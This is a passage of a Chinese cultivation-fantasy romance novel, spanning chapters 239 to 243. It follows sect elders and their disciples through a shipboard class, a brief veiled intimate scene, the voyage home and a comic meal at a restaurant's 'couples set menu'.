“秦长老,这次起义军和龙族为什么达成了和平共处协议?我还以为他们会不死不休呢。”叶玄洲自然不甘示弱地也开始提起问题。 “因为他们一时间都奈何不了对方,再加上龙啸被毁,龙宫和墙壁都已不复存在,某种意义上起义军的目的已经达到了,而且龙族也答应把那些参与龙啸血祭的家伙拖出去让他们处置。” “他们的确可以不死不休,但是他们也要为其他方面着想。”秦兰时顿了顿,他想了一下例子,便举出了当年的屠魔大战,“就好比当年的屠魔大战的结束原因,当时双方都已精疲力尽,若是再打下去,他们的损失更大。” “死伤无数,生灵涂炭,他们需要时间去休养生息,正因如此,双方都停手了,这一休养就休养到了如今。” “秦长老。”就在这时,坐在靠窗倒数第二排的唐山玉也跟着举起手,秦兰时听到唐山玉在喊他,顿时就闪现了过去。 “这位弟子是哪里还存有疑问?快与为师说说……” “您该下课了。”唐山玉面无表情地看着秦兰时,他浑身上下都透露着不想上课的颓废感。 靠窗倒数第一排的谢璟本来还在发呆,听到这句话后也一下子挺直后背,因为他打算回去和师父分享这次旅途的经历呢。 “……”秦兰时听到这话,捂住胸口后退几步,他很是悲切地道:“山玉,你怎能这样伤为师的心,你可知道为师的这课放出去是千金难求吗!” “……”唐山玉嘴唇微动,还是没有说出那句因为你的课不值千金,所以才求不到啊。 “…我们还继续听吗?”江玉瑶小心翼翼地看了叶玄洲一眼,叶玄洲也小心翼翼地看了回去,方安城坐在位置上已经睁开眼睡着了。 李行川倒是很端正地坐在位置上,张欣雅也是端正地坐着,只不过她的思绪已然不在这里,陈严压根没听懂,只不过良好的学习态度让他开始记笔记,梅元宝……梅元宝她正拿着大饼在座位上吃。 石泽竹也没有听懂多少,但是他也做了笔记,只是他的笔记看上去不像是人能看懂的。 慕轻轻不在,因为她家塌了,她要回家帮忙。 因为这是随清宗灵舟上的小课堂,所以问天门的人本不应该在这里,此时却来了一个马小桐,原因是她待的灵舟上没有几个可以聊天的姑娘,有也是盛礼越的下属,这些下属一个两个都恭恭敬敬。 所以,马小桐是来这里建设女孩子友谊的。 胡长乐在自己的眼睛上贴了两个眼珠子,就开始撑着下巴,开始呼吸平缓了起来,良好的睡眠真的很重要。 环顾一圈后的秦兰时破防了一下,就一下后就听到唐山玉慢悠悠地给他传音了一句:“老师,我可以申请课后补习吗?” 这个课后补习有很多种意思,而自家徒儿心有灵犀的秦兰时立马就明白了唐山玉要什么样的补习,下一刻,他一拍桌子就下课了。 一下课,弟子们就和彩鸡出笼似的往外窜了出去,很快,教室里的弟子就走得一干二净了,虽说也没有多少弟子在听课。 不过这已经不重要了,因为秦兰时凑过去,拉住唐山玉的小手手,并且满脸期待地看着唐山玉,而唐山玉也往回握住:“嗯,晚上再说。” 秦兰时听到这话,恨不得立马一睁眼就到了晚上,只不过这不太可能,不过在走入夜晚之前他全程都在嘿嘿地等着夜晚降临,做饭在嘿嘿,洗澡在嘿嘿,只是在躺上床后他没有嘿嘿了。 因为他看到唐山玉把自己的双手都拷了起来,分别拷在床头两边,秦兰时想挣扎一下,就听到唐山玉来了一句:“不许动,动了我就去找谢璟凑合一晚。” 秦兰时:? 你听听这是人话吗? 于是秦兰时不敢动了,只不过他也在好奇唐山玉到底要做什么,还没想出个什么来,他就看到唐山玉轻轻褪下外衫,徒留一件单薄的里衣在外头。 而接下来,唐山玉就这样慢慢爬上床,他爬了一半,然后就像是想起什么拿出一块红布将秦兰时的眼睛遮住:“不许看。” 秦兰时的身子瞬间紧绷起来了,他双手握拳,在黑暗里,他只听到轻微的布料摩擦声,还有那人放在自己身上的手。 下一刻,愉悦的感觉蔓延至了全身,热流滚滚自下而上,这可真是灵巧不已,秦兰时双手猛地一动,锁链因为他的动作发出脆响,而他本人也因这动作,头狠狠撞在了身后的床板上。 砰! 很大的一声。 不过秦兰时并没有感觉到疼痛,不如说,此时此刻他有比疼痛更加明显的感觉,“山玉…我的好山玉……你把这块布给拿下来呗……” 唐山玉不语,只是一味的动作。 最后,春日先落山头处,唯闻鸟语与花香,唐山玉咽了一下口水,整个人轻轻晃了晃。 就在这时,他也伸出手为秦兰时拿去了那块红布,秦兰时得以重见天日,只不过他在看到眼前一幕的时候,瞬间眼睛都直了,眼角微红带有泪珠,因是忍耐已久所至。 最后,他轻声开口道:“我想……” 唐山玉止住了他,“不,你不想。” “还有,憋着。”唐山玉抬手轻打了一下的那蠢蠢欲动的手,随后也整个人凑上前来,在勾住脖子后就吻住了秦兰时的唇。 秦兰时的脸因为这个吻变得更加红了,他张开嘴任由唐山玉索取着,眼里全是隐晦的欲望,就好比有一个美味无比的食物在哪里,但是他却要控制住自己不要去吃掉。 …… 似乎是觉得差不多了,而唐山玉也看到了秦兰时也差不多到极限了,于是他轻轻拉开了一点距离。 而秦兰时满脑子都是这个食物还不能吃的克制里,而他在这场沉沦里似乎看到唐山玉挑了一下自己的下巴,并且薄唇轻启: “来。” 秦兰时闻言瞪大了双眼。 而接下来,像是一个什么开关被打开那样,困住自己的手铐瞬间断裂,秦兰时猛地一把抱住唐山玉往后边的软床上倒了下去。 这一晚,情浪无边,汹涌澎湃。 第240章 幸福就可以了 是夜,薄雾轻柔,月光透着帘布往屋内透入,谢璟独坐在桌前,眼前摆着一面水镜,水镜里头正浮现出顾延清的模样。 谢璟给顾延清说起了卧吟岛上的事情,说得差不多后,他沉默了一下,似是有些犹豫,而顾延清也发现了这一点,他开口问道:“阿璟可是有话要说?” 谢璟张了张嘴,似想说什么,可是那话到嘴边又变成了:“师父……这次的傀儡……我们弄坏了……” “嗯,我知道。”顾延清点了点头,其实非要说,这是他为了保护谢璟亲手弄坏的。 “梁长老那边……” “无妨,我会和他说的。” “多谢师父……”谢璟听到这话低下头,像极了犯错的小狗,不过他想要说的并不是这个。 他想说的是…… 他想说的…… “阿璟。”顾延清再次喊了谢璟一声,这把谢璟的思绪都喊了回来,谢璟抬起头,再次看向了那一直安静地注视着他的顾延清。 “你还有什么要说的吗?” “……我…”谢璟的声音顿了顿,随后偏过头去,他该怎么说呢,说他不知为何开始做起了噩梦,而在噩梦里,他寻不到自己师父和友人的踪迹,这个梦把什么都带走了,唯独给自己留下了这尸山血海。 还有那抹不经意间感受到的恐惧。 但是说出来是不是显得自己好像太懦弱了,师父事情那么忙,怎么还能拿这种小事去扰他。 “……无事。”最后,谢璟听到自己的声音这样说着,随后他抬头冲着顾延清笑了笑:“师父,夜深了,你也不要太忙。” “嗯,阿璟是累了?”顾延清也没有继续问下去,他闻言也点了点头,“那便就寝吧……” “好。” …… 可是在这声好结束了一会儿,俩人都没有把水镜关掉,反倒是安安静静地继续面对面坐着,坐着坐着谢璟就有点坐立不安了,于是他抬起手似乎想要先关掉它。 可才一抬手,那边的顾延清也出声了:“阿璟,此次海行也算是结束了,你们什么时候回来?” “这个…秦师叔没说,因为我们要等一下轻轻,现在轻轻还没忙完。”谢璟闻言想了想便回答了顾延清这个问题。 “…是吗。”顾延清顿了顿,随后又问道,“那阿璟这次回来有什么打算?” “打算…?”谢璟一愣,随后一脸正色地道:“自是不坠师父名讳,努力习剑,斩妖除魔以扬宗门之名。” “嗯,阿璟很棒。”顾延清闻言自然是欣慰的,不过他要问的可不是这个,总之,在那头的顾延清正翻了一页手上的书,看了一眼这书的内容后便重新抬起头问道:“那阿璟回来后……可愿意先来我…屋内一下,为师有些东西想要给你。” 谢璟听到这话一愣,随后果断地点了点头:“好的,师父。” 说完后,他是突然有些不好意思地移开视线,只见那暗藏着小心思的眼神正缓缓落在了那边的花瓶上,这花瓶可真花瓶啊。 “师父……那个……” “嗯?”顾延清继续翻了一页手上的书,闻言应了一声。 “我想你了。”谢璟鼓起勇气把这句话说了出来,说完后他顿时胸口一阵清爽,这就是表达自己情感的快乐吗?谢璟自然明白,只不过他还是比较委婉,可不能让师父怀疑他们之间的单纯师徒情谊。 “……”顾延清沉默了。 不过此时谢璟没敢看他,而是继续看花瓶,还是那句话,这花瓶可真花瓶啊,而他也因此错过顾延清在他说出那句话的时候,脸上一闪而过的红晕。 “嗯,我也是……”顾延清也把这句话说出来了,他微微叹了口气,最后又道:“早些回来,注意安全。” “好。” …… 次日,慕轻轻来到了灵舟上,此时此刻她看上去有些疲惫,不过还算神采奕奕,她看到诸位后便叹了口气,笑道:“我听说你们今天要回去了?” “对的,我们在等你。”唐山玉闻言点了一下头,他看了一眼慕轻轻的身后,在那里,在龙宫废墟处,有一座新的建筑正在建起。 “…抱歉,我可能暂时不回去了。”慕轻轻摆了摆手,一副很无奈的样子,她说着说着自个儿又笑起来,“因为家里的事情要解决的太多了,一时半会也解决不完,所以我就先不回去了。” “这样啊,那你打算什么时候回去。”秦兰时倒也没说什么,并且表示理解,只见他拿出小本本开始写写画画起来,“行,批你一个长假,不过你想回来记得和我们说一声。” “对的对的,这样让我们好做准备呀!比如欢迎会什么的……”江玉瑶在旁边也跟着出声了,她说完后又有些不好意思地缩在了叶玄洲和方安城俩人的后边。 “…是吗?还有欢迎会啊,谢谢你们啊。”慕轻轻继续笑着,只见她开始往后走了,一步两步,少女足尖一点,便跃至高空,只见她张开双臂感受着此间的清风,紧接着,一声龙啸响彻高空。 只见这龙微微俯下身子,眼睛好看地眯起来了:“我送你们一程吧?” “那么,就多谢轻轻了。” 随后,龙飞空中,为灵舟护航,慕轻轻就这样一直送啊送,直到她无法再送为止,少女飘在空中,目送着随清宗大家的离开。 等再也看不见的时候,她就慢慢地转过身。 …… 路上的时候,大家都很快乐,因为人多热闹,于是他们开始吃起了归宗席,这席呢是大家一起做的,和面的和面,杀鱼的杀鱼,洗菜的洗菜,厨房变得无比拥挤,肯定是那些欢声笑语太多了。 这不,唐山玉正研究着这条鱼应该从哪里下手比较好,这鱼可不是一般的鱼,这鱼可是那些感谢的海族们亲手抓的鱼。 “做什么?”路过的谢璟正拿着一根葱,他看到一动不动的唐山玉后很是好奇地看了那边一眼。 “不就是鱼?直接下手啊,难不成你还对着食材怀有同情心?“谢璟拿着葱,不放过一丝对唐山玉指指点点的机会。 “……”唐山玉淡淡地看了谢璟一眼,还没等谢璟细品这没来由的富含深意一眼,就看到唐山玉举起菜刀狠狠地往鱼的身上砍去。 咔嚓。 菜刀断了,并且刀刃往外飞了去,而它直直地擦着谢璟的脸颊而过,谢璟沉默,然后拿着手上的葱,对着唐山玉所在地方狠狠敲了过去,葱上还蕴含着他的灵力。 唐山玉见此拿起砧板上的鱼格挡住了这根葱,俩人用一鱼一葱在厨房过了好几招,只见谢璟凶神恶煞地追着唐山玉路过了李行川……路过了叶玄洲……路过了陈严……路过了方安城…… 与此同时秦兰时正在教小辈们包饺子和包子,他正手指灵活地捏着花样呢。 “哎,真好看。”秦兰时欣赏起自己的包子来,旁边的石泽竹把包子包成了带馅馒头,就这样搓了搓几下。 胡长乐正在聚精会神地包饺子,只见她包完一个又一个,可谓是心灵手巧,旁边的江玉瑶,张欣雅和梅元宝流露出崇拜的表情,她们的饺子或多或少要么普普通通,要么太扁,要么鼓得要露出来了。 “长乐,你包得好厉害呀,和秦长老不相上下呢!”江玉瑶把自己普普通通的饺子放下去后又重新拿起一张饺子皮开始包。 “我之前在家里经常包饺子,所以还算熟练。”胡长乐闻言腼腆一笑,手上的饺子因为夸奖包的花样越来越多了。 秦兰时看到这一幕就开始眼神慈爱起来了,果然年纪大了,就喜欢看点温馨的场景,就比如此时此刻,真是…… 啪! 一条鱼打在了秦兰时的脸上。 秦兰时那慈爱的眼神被迫终止了,于是他缓缓抬手抓住这个从天而降的鱼,笑容灿烂地看向了鱼儿飞来处,只见谢璟举着葱,唐山玉举着空空如也的手,俩人正安静地看着这一幕。 “你们俩……”一瞬间的事,秦兰时一把将这个鱼捏成了肉泥,然后放在了旁边饺子的馅料碗里,小幅度地甩了甩手就拿起擀面杖冲着这两个疑似在玩闹的家伙打了过去。 因为秦兰时决定要给他们弥补一下童年的快乐。 唐山玉见此撒腿就跑,谢璟没反应过来,因为他没有想到自己还有被打的一天,在擀面杖来到他脑袋上之前,谢璟还在想秦师叔总不能连我也打吧。 最终,谢璟抱住脑袋,手拿大葱地蹲在了地上。 “唐山玉,你给我站住!不要以为我宠你,你就可以无法无天了!”秦兰时扯着嗓子叫起来了,唐山玉哪能就此站住啊,这不是在等被打吗。 于是俩人在厨房里转起了圈圈,身形之快,让人看得眼花无比,这场战争最后以秦兰时成功打到唐山玉结束。 饭后边也好好做了,也一起好好吃了,不管怎么样,这场海上旅途似乎也结束了,在回去的路上他们也遇到了不少困难,但是他们都能成功克服。 总之,随清宗的大门已经在眼前,怎么能够停滞不前呢? 在重新站在随清宗大门前的时候,大伙们都觉得恍如隔世,毕竟在海上待久了,他们都能闲得慌,在回来后,他们都迫不及待去找些好玩的去了。 “对了,几日后要举办百年大考会,你们回去后要记得好好修行哦?”秦兰时在孩子们高兴的时候非常开心地来了那么一句。 “…?啊?”大伙们一愣,显然都忘记了这件事。 “放心好了,只有金丹可以参加,这是用来考验你们多年学习的考试,到时候会有排名的哦。”秦兰时继续开心往下说去,他此时此刻的每一句都扎在了弟子们身上,而其中也包括唐山玉。 谢璟倒是没什么表示,只不过他拍了拍唐山玉的肩膀:“到时候考试场见,这次,我一定会赢你的。” 说完后,谢璟就果断地走了,因为师父还在等他。 而大伙们从一开始的开开心心去玩,变成了愁眉苦脸地去玩了。 待他们都走后,同样愁眉苦脸的唐山玉正一脸幽怨地看着秦兰时,秦兰时默默躲开了这幽怨的小眼神,躲开才一秒他就抬手将唐山玉抱进怀里。 “山玉,为师相信你。”秦兰时含情脉脉地握住了唐山玉的手,并且将其举至胸前。 “相信我什么?”唐山玉总有种不好的预感,也就是在这种时候,唐山玉才觉得秦兰时这作为师父身份的存在感是那么的明显。 “你不会给为师丢脸的吧?”秦兰时说这句话的时候是笑着的,可唐山玉却不由自主地往后退了一步。 “退什么呀?山玉~”秦兰时笑着把人又拽得离自己近些,那双似笑非笑的桃花眼正深情地瞧着唐山玉。 “…师父,难不成,你也要玩攀比那套?”唐山玉不确定,于是唐山玉开始小心翼翼。 “…怎么会呢。”秦兰时笑了一下,随后凑上去捏了捏唐山玉的脸蛋,“你把为师看成什么人呢?为师才不会因为你是为师唯一的徒弟但是却考零鸭蛋丢脸呢。” “……”后边那句其实可以不用加的。 …… “噗。”秦兰时没忍住笑出了声,他将自己的脑袋靠在唐山玉的肩膀上,伸手捂嘴努力让笑声不要太过放肆:“哈哈哈哈………瞧瞧你刚才那个模样,眼神坚定得就好像要去上战场一样。” 唐山玉:…… “我开玩笑的啦,我像是那种家长吗?只是我觉得这种类似于期末考试很适合玩这个哎?”秦兰时笑完后就开始摆起了长辈架子了,“咳咳咳,听懂了吗?唐山玉同学,为师对你寄予重望啊。” “什么重望?”唐山玉觉得这人一逗起他都不带停的。 “我对你的重望是……”秦兰时说着,就拉起唐山玉的手一起往熟悉的道路上走去:“你只要幸福就好了。” 是的。 你只要幸福就可以了。 第241章 为什么 谢璟去找顾延清了,在路上的时候他在想待会见面的时候应该先说什么,毕竟他师父比较安静,肯定不会先开口的。 对,没错,就和师父聊几日后的百年大考会吧。 谢璟想好开场白后,就抬起头看向了不远处的大门,那是顾延清所在的地方,总之,他抬起手非常有礼貌地敲了几下,还没等他亲手开门呢,门就应声而动。 滋啦一声,门就被人从里面打开了,平时只会在座位上看卷轴的师父居然亲自来到了大门口迎接了他。 今天是什么好日子吗? 谢璟这样想着,于是他张了张嘴刚想喊一声师父的时候,顾延清就对他上手了,只见顾延清握住了谢璟敲好门还没放下那只手的手腕,就这样将谢璟轻轻往屋里一带。 顾延清指尖轻碰了一下谢璟手腕上那条贝壳手链。 谢璟:……? 还是那句话,今天是什么好日子吗? 居然还能拉小手。 不知道为什么,谢璟总感觉唐山玉知道自己这种想法的时候,肯定会极为嫌弃地吐槽一句:没出息。 …没出息怎么了。 你以为哪个师父像秦兰时一样总是对徒弟搂搂抱抱的,手是没少牵,抱是没少抱的,不管小时候还是长大都是一样的亲密。 而且他都长大了,平常里头哪有什么抱抱,有手牵就不错了。 再说了,他师父可是一个非常含蓄的人。 哪会那么主动…… 顾延清抬手抱了抱谢璟。 谢璟:…… 谢璟:?! 今天活得像做梦一样。 没出息的谢璟跟块木头一样呆在原地,顾延清抱了抱发现人没有反应后就松开了,怪了,书上说得不对吗? “阿璟……?”顾延清放下手后就拉着人往屋里走去,谢璟则顺从地跟着他一起往里走,“过来,这是我为你准备的法器。” “嗯?”谢璟顺着顾延清的动作往下看去,然后他就看到了一个精美的盒子放在桌上。 “阿璟看看可还喜欢?”说着,顾延清任由谢璟去打开那个盒子,只见里头安安静静地躺了一把银白色剑鞘,剑鞘上的花纹很是精美,似云似鸟,飞龙徘徊。 “喜欢。”谢璟想也不想地就开口了,他眼睛亮亮的,看上去无比开心:“很好看,师父我想现在就给我的剑换上。” “嗯。”顾延清微微颔首,谢璟看到这一幕后果断地抛弃了自己之前花不少钱买的剑鞘,给他的剑老婆换了一身衣服,银白色的剑鞘搭配着谢璟身上这套玄色衣裳,使人看上去多了几分柔和。 “多谢师父……对了,这次徒儿也给师父带了礼物。”谢璟说着,就开始从乾坤袋里掏东西了,第一件是一盒精美糕点,第二件是座发光的珊瑚台,第三件是一些海族们送的特产…… “…咳咳,阿璟。”顾延清咳了几声,随后目光很是不经意地扫了一眼谢璟的手,“为师…几日后的百年大考会需要上去主持考场。” “嗯,师父,放心,我一定不会让你失望的。”谢璟听到这话,立马选择了继续奋斗,并且眼里燃起了不服输的火焰。 “…不,不是。”顾延清连忙摇了一下头,“为师的意思是……” “懂了,您是要我这次赢过唐山玉,不坠天青剑法的名头吗?”谢璟表示理解,毕竟他可是天青剑法的传人之一啊,这次他绝对不会输的。 “……不。”许是什么词触碰到顾延清的某些地方,他当即伸出手再次握住了谢璟的手腕,“为师也不要这个。” “……”谢璟看了看再次拉上的手,顿时就心花怒放,不过面上肯定不能流露出这种没出息的模样来:“师父您说。” “……”顾延清张了张嘴,他努力张嘴,最后只憋出一句:“为师似乎没什么衣服可以穿上去……” 谢璟:……? 很显然,这一句让谢璟小小地震惊了一下,因为顾延清长得不像没有衣服穿的样子啊?难不成,在他不在的日子里,出了什么事情导致的吗? 谢璟闻言立马就道:“那怎么办?师父,可有徒儿能帮忙的地方吗?” 顾延清:…… 阿璟这样为他着想,可他却纵容起的自己私心乱来,他真是个混蛋。 顾延清这样心想。 “阿璟如此手巧,不如……”但是,顾延清只沉默了一下,很快就从方才的状态调整回来,并且淡淡地提出了自己的要求。 “……可以。”谢璟眼里的火焰燃向了另一个方向,“交给我吧,师父,我会让师父成为……” 说着,不知为何谢璟脑子里一抽,想起了唐山玉对秦兰时说过的话,而他嘴也很快,就那么水灵灵地说出来了: “全宗门最靓的仔!” 顾延清:…… 回来的阿璟好像有股熟悉的味道混在里头呢。 此时此刻,不远处的秦兰时大大地打了个喷嚏,吓得在旁边躺在躺椅上看话本的唐山玉一个激灵:“怎么了?你感冒了?” “我堂堂化神期修士,怎么可能会感冒!”秦兰时觉得这不可能,于是他也拿起一本话本子举在头顶上看,此刻的他姿态懒散得像猫儿一样。 第242章 四人行 在四人相遇之前—— “…兰时,你现在好点了吗?”顾延清来到了秦兰时修炼的洞口面前,轻轻挥手间,洞口处的阵法便浮现出一丝波动,而他也得以进去,“山玉他已经找了你三天了。” “……”秦兰时于洞内睁开眼,他正盘腿坐于地上,神态似有倦色,他抬手揉了揉眉心,“呼…我暂时把心魔压制回去了……师父有说什么吗?” “师父说他在找法子把那心魔彻底消除,毕竟心魔是会随着修士的修为日益强大的。”顾延清叹了口气,这心魔应是因他而起,所以他一直对秦兰时有些愧疚。 “大师兄,别叹气了。”秦兰时站起来伸了个懒腰,他走过去抬手搭上了顾延清肩膀,“正好,我打算下山逛逛,若大师兄有空不如陪陪我?” “嗯?”顾延清似是不明白秦兰时为何此时此刻要下山。 “山玉等了三天估计不开心,我要去买点礼物去哄他,山玉可好哄了……大师兄,我没钱了。”这后半句秦兰时说得很是理直气壮。 “…好,我今日的卷轴应是看完了。”顾延清哪有不应的道理,毕竟……秦兰时在和他还没闹掰的时候,可是经常撒娇要钱的,作为一名合格的大师兄,他又怎会不答应呢。 现在他们之间的关系好不容易好那么多,顾延清不想再次体会当初的感觉了,所以,他自是愿意的。 “那走!”秦兰时果断地拉着顾延清下山去了,就和当初年少,他看不惯只会学习的大师兄,强硬地联合师姐和师弟师妹们把大师兄自山上拉入红尘那样。 来到山下后,秦兰时自然是兴奋的,因为不用他花钱啊,他可以随心所欲地挑礼物了,这个花样好看买了,这个图案奇怪买了…… 一路下来,顾延清的手上就捧了不少东西,为何他不放进乾坤袋呢,因为秦兰时说这样才有购物的感觉,愣是让顾延清手里拿着一些。 顾延清不懂,但是顾延清会溺爱。 正逛着的时候,突地,俩人不约而同地扭头看向了一个地方,而那个地方似乎围着不少人,热闹无比,细听下有人在里头惊呼道: “哇,这个少年可真厉害,这已经是第几个了?” “这是第十个了吧?” “没想到他那么厉害,老板看上去要哭了。” 当然这些都不是重点,重点是秦兰时和顾延清在里头感受到了自家徒弟的气息,于是俩人互相对视了一眼,就纷纷隐藏起气息挤入人堆里。 顾延清收起手上的东西,而秦兰时则积极地带着顾延清挤在了最前面。 俩人挤进去后,才看到这里面的情况,只见站在最中间出风头的是谢璟,谢璟手上拿着弓箭对准着那头的排列起来的人形木板,在那木板中间有个红点,似乎是要拿弓箭射中。 而木板随着排列依次变小,而越小的越难射中,当然奖励也更高。 此时此刻谢璟再次拿起一支箭,转过头去看着那边拿着他赢下来那些奖励的唐山玉:“还要哪个?” “我要那个…就那个白色的怪脸面具。”唐山玉也毫不客气地往那边一指,这一指让老板心碎。 “好。”谢璟再次搭弓射箭,一箭破空而出,直直中在那头的木板红点上,周围人又是一阵激烈的掌声,有的还为谢璟的这次出色射箭吹起了口哨。 等这个奖励拿到手后,谢璟就转手交给了唐山玉,把这个和唐山玉手里的物件儿摆在了一起:“还想要吗?” “…嗯……”唐山玉看了看那边已经在汗流浃背的老板,笑着摇头道:“好,就这些吧。” “那走吧,人多……”谢璟看了看四周,低声道:“我不喜欢。” 唐山玉比了个OK,转头就带着不爱挤来挤去的谢璟努力在人群里冲锋陷阵,冲出来后俩人都各自松了口气,随后唐山玉低头清点了一下手上的东西有没有落下的。 “没想到谢璟你居然还带我来这里玩,真是让人意外啊?怎么,看我心情不好想哄我开心?”唐山玉这三天的烦闷确实散了一点,他说着便把这些东西全部收入囊中了。 “…呵,因为你不开心的话,你也会让我不开心。”谢璟对此冷笑了一声,他还不知道这人的德行吗?不过当然也有看人不开心的缘故,但是他怎么可能会说。 “那还真是抱歉啊。”唐山玉哈哈一笑,随后一个扭头间,他手上就多了一个传单,似乎是不远处店家派出的小厮发的,只见上面写着:道侣套餐最佳优惠。 哦,看来优惠套餐之风也是吹到修仙界了,果然哪里都有精明商人为金钱发挥自己的新思想。 其实唐山玉对这个兴趣不大的,只不过在他准备把这个传单折好丢掉的时候,就看到散去的人群里出现了两道熟悉的身影。 那两道身影正是秦兰时和顾延清,他们神色各异地看着自己那俩徒弟,而在他们眼里,那个道侣套餐的传单无比明显地出现在唐山玉的手上。 秦兰时:…… 顾延清:…… 到底是哪步出错了? 此时此刻秦兰时想的是:这是什么情况?难不成是为了套餐才这样的吗?哈哈,其实也正常,也正常……屁的正常!!为什么不和我去吃!! 而顾延清想的是:…已经……进展到这一步了吗? 到后边,就是唐山玉按住谢璟不让人上前去的一幕,谢璟是真想过去打招呼,可唐山玉那幽怨无比的眼神让他无法无视。 谢璟有预感,如果他真的过去了,那么唐山玉接下来好几日肯定不会让他好过的。 所以为了后边能够安心绣花的日子,谢璟决定先站着不动,可他不动,唐山玉却动了,只见唐山玉一把将他拉走,扭头就朝着和秦兰时顾延清俩人的相反方向就走。 “…等一下!”秦兰时见此立马闪现了过去,一把握住了那只有传单的手,“唐山玉!你干嘛!!” 顾延清他默默地跟上去,然后悄声无息地来到了谢璟后边,眼神没有什么波动,就这样安静地看着他们。 “…我……”唐山玉不知道秦兰时好像看上去有些急切,明明先和他玩失踪的就是他自己啊,可他还没说完,一旁似乎等待已久的小二飞窜了出来。 “请问几位要吃什么?”小二笑容灿烂无比,而这番话也让他们意识到自己好像来到了酒楼门口。 没有人回答小二,因为这四人在暗地里较劲着什么,只见秦兰时握住唐山玉的手腕,唐山玉不服输地拉着谢璟的手腕,谢璟的另一只手则不知何时被顾延清拉住了。 小二见没人回答他也不恼,只不过他视力极好地看到了唐山玉手里的那张道侣套餐的传单,于是他继续说道:“四位是想吃道侣套餐吗?这是我们最近的活动,有许多客人奔着这个来的呢?” “…所以,你们到底谁是一对啊?”小二看了看这四人互相拉起的手,一时间他那继续推销的话语顿了一下,不过不打紧,专业的他继续扬起笑容:“没有关系的客人,这里也是支持多人……” 秦兰时听到这话,哈了一声,随后一把揽过唐山玉的腰,将人带入了自己的怀里:“这不是很显而易见吗?” 唐山玉:…… 唐山玉没开口。 而秦兰时看了看没什么反应的唐山玉,稍微沉默了一下,就伸手把唐山玉的手从谢璟手上给拉开,唐山玉没反抗,谢璟自然是不可能反抗的。 “好的好的,两位客人里面请~”小二眉开眼笑,顿时搓了搓手,让一个带路小二把他们给带进去了。 小二看着这个酒楼门口又进去的俩人,感受着那种业绩疯狂上涨的快乐后便扭头看向了谢璟和顾延清:“两位也是一对儿的吧?来,这边请。” “…不……”谢璟听到这话很是惊恐,是那种生怕顾延清怀疑什么的惊恐,他当即就要出声拒绝。 “嗯。”可一旁的顾延清却应下了。 谢璟听到这话一个猛回头地看着顾延清,只不过顾延清神色淡淡的,他看不出什么,接着他便收到了顾延清的传音:“我担心兰时他们……” 哦…是为了秦师叔啊。 谢璟沉默了一下也就跟着点头了,最后他们俩也一起被请了进去,一进去,谢璟就发现他们的位置离唐山玉和秦兰时他们还挺近的,就在隔壁桌。 只见唐山玉手里拿着杯子,一副在想什么的模样,而秦兰时则坐在对面托腮看着唐山玉,也不说话,就这样看着。 俩人之间的气氛变得安静又诡异。 谢璟:…… 这确实需要担心。 很快,等着等着,他们的套餐就上来了,这套餐装饰得特别有爱情的味道,是让人忍不住脸红心跳的感觉,可是四人吃这个套餐的时候都没有在脸红心跳。 谢璟把饭扒拉进碗里的时候还在想这次吵架就那么严重吗?突然,对面的顾延清给他夹了一块肉,谢璟顿时受宠若惊地看了顾延清一眼:“…谢谢师……” 还没说完呢,就小二路过了他们俩,问他们还需要什么,而谢璟也本能地止住了他接下来的话语,因为……师徒恋好像是在背德恋里有名字的,而师父这个称呼一喊出来,这一听就知道是背德的师徒恋。 虽然他们是假的,但是师父是真的喊啊。 “……”谢璟沉默了。 “…嗯?”顾延清没明白谢璟为什么突然间就不说话了。 “…客人?”小二不明白这位客人到底怎么了,于是他在等待。 “…谢谢…哥哥。”最后,在小二和顾延清的注视下,谢璟憋出了那么一句,喊完后小二心领神会地看了俩人一眼,就懂事地离开了。 而顾延清因为这一声哥哥拿筷子的手一抖,还没等他想什么呢,就听到来自徒弟的传音:“对不起师父,我不是故意的,毕竟我们不是假装道侣进来吃饭吗?我觉得换个称呼会好一点。” “……嗯。”顾延清什么也没说,只是吃饭,不过他在吃饭的时候也留意了一下秦兰时那边的情况。 秦兰时在吃饭,唐山玉也在吃饭,在这个过程里,俩人谁也没说话,只是筷子在抢肉的时候暗自较劲。 顾延清看了一会儿后,就很是无奈地喝了一口杯子里的……酒?等等,这里面是酒?只见顾延清一个猛抬头,就看到了不知道什么时候脸颊红起来的谢璟,就连旁边的唐山玉的脸也开始因为杯子里的酒开始上头了。 顾延清:…… 最后,顾延清看向了秦兰时,他发现秦兰时因为生气,杯子里的酒一口也没喝,他还在埋头苦吃呢。 “…兰时……”顾延清的声音轻飘飘地传过来了。 “…干嘛?”秦兰时看了过去,就看到顾延清指了指自己的杯子,于是他也低头往自己杯子里头看去,这一看,秦兰时就惊恐地抬头看向了唐山玉。 唐山玉感觉到来自秦兰时的视线后,就抬头看了过去,唐山玉看上去很冷漠,虽然脸红红的,但是也没有做出什么出格的行为。 这和之前喝酒的状态很不一样。 在他们四人吃完后,接着就胆战心惊地一起走出酒楼,依旧安安静静,无事发生。 难不成其实并没有喝醉? 街上已然张灯结彩,夜幕降临后,灯火便自黑暗里燃起,四人走在路上,谁也没说话,最后,是唐山玉伸出手拉住了秦兰时的衣角打破了这个安静: “师父……” 这一声师父叫得秦兰时心都要软了,怪他,怎么总是和自己的小道侣置气,真不应该,他可是年长者,应该要有年长者的样子…… “你真是个混蛋。” 秦兰时:…… 这话也不是没有听过,但是莫名的,此时此刻这声混蛋有些咬牙切齿。 “咳咳……”秦兰时咳了几声,就看到顾延清拉着谢璟离他们远了些,他心里不禁有些感叹:这顾延清也是越活越贴心了。 总之,秦兰时抬起手摸了摸唐山玉的脑袋,接着就一把将人抱在了怀里,接着就毫不客气地承认了: “嗯,对,我是个混蛋。” 第243章 我想你吻我 山下红尘映入眼帘,金红的灯笼高高挂起,鱼灯游行于街上,孩子们看到这飞跃的金色游鱼很是开心地追了过去。 他们一起在街上追逐那流光,砰的一下撞在了一个人的身上,那人似乎也没有想到小孩会撞上来,便抬手将孩子扶住。 “……呜呜呜…”小孩子被吓到了,刚想张嘴就哭的时候,突地,她看到了扶住她的那个人的容貌,顿时就只会呆愣愣地张着嘴了,只见她举起手开开心心地一指:“是神仙哥哥!” 跟着她的几个小孩不约而同也抬头瞅着这人,无一不被这个神仙哥哥的容貌给惊叹到了,随后个个都无比好奇地凑了过来:“真的和天上神仙似的。” 而被唤作神仙哥哥的人正是顾延清,他正照看着喝醉的谢璟呢,就被跑过来的小孩给撞了一下。 谢璟则安静地坐在路边茶摊的长凳子上,桌子上摆着一碗醒酒汤,汤正缓缓地飘散着雪白的热气。 